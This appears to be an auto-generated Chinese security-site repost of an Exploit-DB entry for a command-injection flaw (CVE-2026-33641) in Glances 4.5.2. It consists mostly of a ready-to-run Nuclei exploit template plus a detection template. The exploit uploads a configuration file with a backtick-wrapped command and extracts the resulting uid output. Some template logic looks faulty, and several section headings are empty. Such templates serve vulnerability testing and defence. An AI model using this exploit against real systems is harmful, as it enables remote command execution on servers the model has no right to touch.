[webapps] glances 4.5.2 - command injection

📋 漏洞基础信息

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-33641-exploit

info:
  name: Glances 4.5.2 - Command Injection Exploit
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. This exploit attempts to execute arbitrary commands through the vulnerable configuration upload or modification endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection,rce

variables:
  cmd: "id"

http:
  - raw:
      - |
        GET /api/2/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"

  - raw:
      - |
        POST /api/2/config/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------99868198152613534213329528222

        -----------------------------99868198152613534213329528222
        Content-Disposition: form-data; name="file"; filename="malicious.conf"
        Content-Type: text/plain

        [outputs]
        url_prefix = `{{cmd}}`
        -----------------------------99868198152613534213329528222--

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"
    stop-at-first-match: false
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'uid=\d+\([^)]+\)'
          - 'gid=\d+\([^)]+\)'
          - 'groups=\d+\([^)]+\)'

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-33641-detection

info:
  name: Glances 4.5.2 - Command Injection Detection
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. An attacker can execute arbitrary commands by modifying configuration files containing backtick-enclosed substrings.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/2/version"
      - "{{BaseURL}}/api/2/version/"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "4.5.0"
          - "4.5.1"
          - "4.5.2"
        condition: or
      - type: word
        part: body
        words:
          - "version"
        condition: or
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '(\d+\.\d+\.\d+)'

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-20 08:07 | 来源: Exploit-DB